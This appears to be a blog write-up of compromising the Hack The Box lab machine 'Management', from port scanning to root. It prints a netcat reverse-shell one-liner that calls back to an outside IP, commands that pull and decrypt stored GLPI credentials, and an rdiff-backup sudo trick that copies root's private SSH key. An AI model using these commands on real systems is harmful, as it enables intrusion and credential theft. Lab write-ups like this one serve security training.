October 31, 2026
HTB Management
1. Scanning the box

By Himanshu Jha
7 min read
1. Scanning the box
The first thing to do on any box is find out what doors (ports) are open. I used nmap for this.
What I found:
- Port 22: SSH, used for remote login
- Port 80 and 443: a website (HTTP and HTTPS)
- Port 4444: labeled oddly (it showed up as "krb524"), but the SSL certificate on it said sso.management.htb, which pointed to a login or SSO system, not Kerberos
- Port 50389: shown as unknown, but the number 389 is the classic LDAP port. LDAP is basically a company's digital address book of users and computers
In plain words: Nmap does not always know what is really running on a port. It guesses based on common patterns, and here it guessed wrong on two ports. The SSL certificate names gave the real clue, pointing toward a login portal and some kind of directory service.
I added the hostnames to /etc/hosts so my browser and tools would resolve management.htb and sso.management.htb to the box's IP address.
2. Finding the login portal
The main website, management.htb, was just a plain landing page with nothing interesting on it. But clicking "Client Login" sent me to sso.management.htb, which turned out to be an OpenAM login page.
What is OpenAM? It is an open source identity and single sign on product. In simple terms, it is software that lets you log in once and reach several systems.
Common and default logins did not work. But looking at the page source showed the exact version number: OpenAM 16.0.5.
Why that matters: Once you know the exact software and version, you can search for known security holes tied to that version instead of guessing blindly.
3. The exploit: CVE-2026โ33439
Looking into OpenAM 16.0.5 turned up a known vulnerability, CVE-2026โ33439, with a public proof of concept already available.
I used that proof of concept to get remote code execution, meaning I could get the server to run my own commands, using a classic reverse shell trick:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.148 6666 >/tmp/frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.148 6666 >/tmp/fIn plain words: This command creates a named pipe, a small temporary communication channel, and uses it to connect an interactive bash shell to netcat, which sends everything back to my own machine on port 6666. The result is a live, remote terminal on the target box, running as whatever user OpenAM runs under, which was "openam."
To make that shell more usable, with real terminal features like arrow keys and tab complete, I ran:
python3 -c "import pty;pty.spawn('/bin/bash')"python3 -c "import pty;pty.spawn('/bin/bash')"followed by stty raw -echo; fg on my own machine. This turns a basic shell into a proper interactive terminal.
4. Looking around as the openam user
Once inside as the openam user, the goal was to find a path to a real human account. I had already spotted a user named "owen" in /etc/passwd, but had no other information about them yet.
I uploaded and ran LinPEAS, an automated script that scans a Linux box for common privilege escalation chances, misconfigurations, and interesting files. I dropped it into /tmp and ran it.
What it found:
- Config folders for both OpenAM and GLPI sitting under /opt
- MySQL running locally on port 3306
Why this mattered: App config files very often hold database passwords in plain text, because the app needs to read them to connect to its own database. This is one of the most common ways credentials leak.
5. Finding the GLPI database password
GLPI is an IT asset and helpdesk management tool, which matched the site's "Managed IT and Infrastructure" branding. Its config file at /opt/glpi/config/config_db.php had this sitting in plain text:
public $dbhost = '127.0.0.1';
public $dbuser = 'glpi';
public $dbpassword = '8*********';
public $dbdefault = 'glpidb';public $dbhost = '127.0.0.1';
public $dbuser = 'glpi';
public $dbpassword = '8*********';
public $dbdefault = 'glpidb';In plain words: This is the username and password GLPI uses to talk to its own MySQL database. Since MySQL was running locally, I could use the same login to connect to the database myself and look around.
mysql -u glpi -p'8**********' -h 127.0.0.1 glpidbmysql -u glpi -p'8**********' -h 127.0.0.1 glpidb6. Digging through the database
First I checked glpi_users, the table that normally holds every GLPI login account and its password hash.
Result: Only the five default GLPI accounts showed up, glpi, post-only, tech, normal, and glpi-system. None of them were tied to a real person named owen, so this was a dead end.
Next I checked for LDAP related tables, since GLPI often connects to a company directory for logins:
SHOW TABLES LIKE '%ldap%';SHOW TABLES LIKE '%ldap%';This turned up glpi_authldaps, a table that stores GLPI's settings for connecting to an outside LDAP server, the same kind of service hinted at earlier by port 50389.
The important row:
host: sso.management.htb
basedn: dc=management,dc=htb
rootdn: cn=svc-glpi,ou=services,dc=management,dc=htb
rootdn_passwd: avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==host: sso.management.htb
basedn: dc=management,dc=htb
rootdn: cn=svc-glpi,ou=services,dc=management,dc=htb
rootdn_passwd: avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==In plain words: GLPI needs a service account, svc-glpi, to log into the company's LDAP directory on its own, without a human typing a password each time. So GLPI stores that service account's password, but encrypted this time, not sitting in plain text like the database password was.
7. Cracking the encrypted password
The stored value looked a bit like Base64 text, but it was not only Base64. It was encrypted using a modern method called XChaCha20-Poly1305, through a library called libsodium. GLPI calls this its sodium encryption feature, used since GLPI 10.x.
How this encryption works, in simple terms:
- There is a secret key file on disk that only the GLPI application is meant to access
- That key scrambles, or encrypts, sensitive values before they are stored in the database
- To unscramble, or decrypt, a value, you need that exact same key file
I found the key sitting right there on the filesystem:
/opt/glpi/config/glpicrypt.key/opt/glpi/config/glpicrypt.keyWhy this is a problem from a security point of view: If an attacker gets both the encrypted value from the database and the key file from disk, they can decrypt it themselves, completely offline, with no guessing or cracking needed. This is why keeping the encryption key on the same machine as the thing it protects is risky once an attacker gets any foothold at all.
I used a small PHP script to decrypt it directly, using the same libsodium function GLPI uses internally:
<?php
$key = file_get_contents('/opt/glpi/config/glpicrypt.key');
$ciphertext = base64_decode('avrqW65aZWKzj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==');
$nonce = substr($ciphertext, 0, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$data = substr($ciphertext, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$plain = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($data, $nonce, $nonce, $key);
echo $plain . PHP_EOL;<?php
$key = file_get_contents('/opt/glpi/config/glpicrypt.key');
$ciphertext = base64_decode('avrqW65aZWKzj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==');
$nonce = substr($ciphertext, 0, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$data = substr($ciphertext, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$plain = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($data, $nonce, $nonce, $key);
echo $plain . PHP_EOL;In plain words: The encrypted blob is really two parts stuck together, a random nonce (a one time value that makes the encryption unique even if the same password is encrypted twice) followed by the actual scrambled data. I split those two parts, then passed them, along with the key file, into libsodium's decrypt function, which handed back the original plain password.
Result: Wp**********
8. Getting onto the box as a real user, owen
With that decrypted password in hand, I tried SSH straight to owen:
ssh owen@management.htb
# password:**********ssh owen@management.htb
# password:**********It worked. This makes sense once you think it through. svc-glpi is a service account used to connect to the company directory, and in real environments, as well as in HTB boxes, people often reuse passwords, or a service account ends up tied to an actual human login somewhere down the chain. At this point I had the user flag.
9. Finding the privilege escalation path
Once logged in as owen, I checked what commands could run as a more powerful user, root, without needing root's own password:
sudo -lsudo -lResult: owen was allowed to run a program called rdiff-backup as root, with some restrictions built in, but with extra arguments allowed to be added on, shown as a wildcard in the sudo rule.
What is rdiff-backup? It is a backup tool. It can back up files from a remote location by starting a second copy of itself as a server process, and the two copies, client and server, talk to each other.
10. Exploiting rdiff-backup, the actual root path
This is the clever part, broken into simple pieces.
Piece 1, โ remote-schema: This setting tells rdiff-backup how to start the server side of itself. Instead of the default, which is SSH, you can supply any command template you want. Since sudo already lets owen run this with extra arguments, owen controls that template.
Piece 2, the %s placeholder: Inside that template, %s automatically gets replaced by rdiff-backup with whatever hostname it reads out of the backup location given to it.
Piece 3, the trick location, /::/root: rdiff-backup expects locations written as hostname::path. By giving it /::/root, I tricked it into reading it as:
- hostname equals /
- path equals /root
So when it filled in %s with the hostname /, the actual command that ran as root became:
sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path /sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path /Piece 4, the bug: rdiff-backup only pays attention to the last โ restrict-path flag it is given. Since my injected / comes after the intended /opt/backup restriction, it overrides that restriction. The restricted backup server now has access to the entire filesystem, not just the backup folder it was supposed to be locked into.
The actual command run:
rdiff-backup \
--remote-schema "sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path %s" \
backup /::/root /tmp/root_backuprdiff-backup \
--remote-schema "sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only --restrict-path %s" \
backup /::/root /tmp/root_backupIn plain words, the whole flow:
- owen runs rdiff-backup as a normal user, acting as the client
- It is told to start its server half through sudo, which runs that server copy as root
- Because of the /::/root trick, that root powered server process ends up unrestricted
- The client then asks it to back up /root, and since the server is root and unrestricted, it reads everything inside /root and sends it back
- The client writes all of that into /tmp/root_backup, which owen can read, even though owen could never read /root directly on their own
11. Grabbing root
Inside the backed up copy of /root, I found a .ssh folder, and inside that, root's actual private SSH key, id_ed25519.
Why that matters so much: A private SSH key is the credential itself. Anyone holding it can log in as that user without ever knowing their password, as long as the server accepts key based login, which it does by default.
ssh -i /tmp/root_backup/.ssh/id_ed25519 root@management.htbssh -i /tmp/root_backup/.ssh/id_ed25519 root@management.htbI logged in as root and read the root flag. Box complete.
TL;DR, the full chain in one line each
- Scanned ports and found a web app, plus an oddly labeled SSO port and an oddly labeled LDAP port
- Found the OpenAM SSO login and grabbed its exact version from the page source
- Exploited a known CVE in that OpenAM version and got a reverse shell as openam
- Ran LinPEAS, found GLPI's config file, and read a plain text MySQL password from it
- Logged into MySQL and found GLPI's stored LDAP service account password, which was encrypted
- Found the encryption key sitting on disk and decrypted the password myself
- That password also worked for SSH as the real user owen, giving the user flag
- Checked sudo -l and found a misconfigured rdiff-backup sudo rule
- Abused rdiff-backup's remote schema and restrict path handling to read all of /root as root
- Grabbed root's private SSH key from that backup, logged in as root, and read the root flag
The big lesson from this whole box: almost every step came down to finding a secret sitting somewhere it should not have been. A version number in page source, a password in a config file, an encryption key sitting next to the thing it protects, and a backup tool trusting user controlled input a little too much. None of it needed anything exotic, just patient enumeration and reading every file I had access to.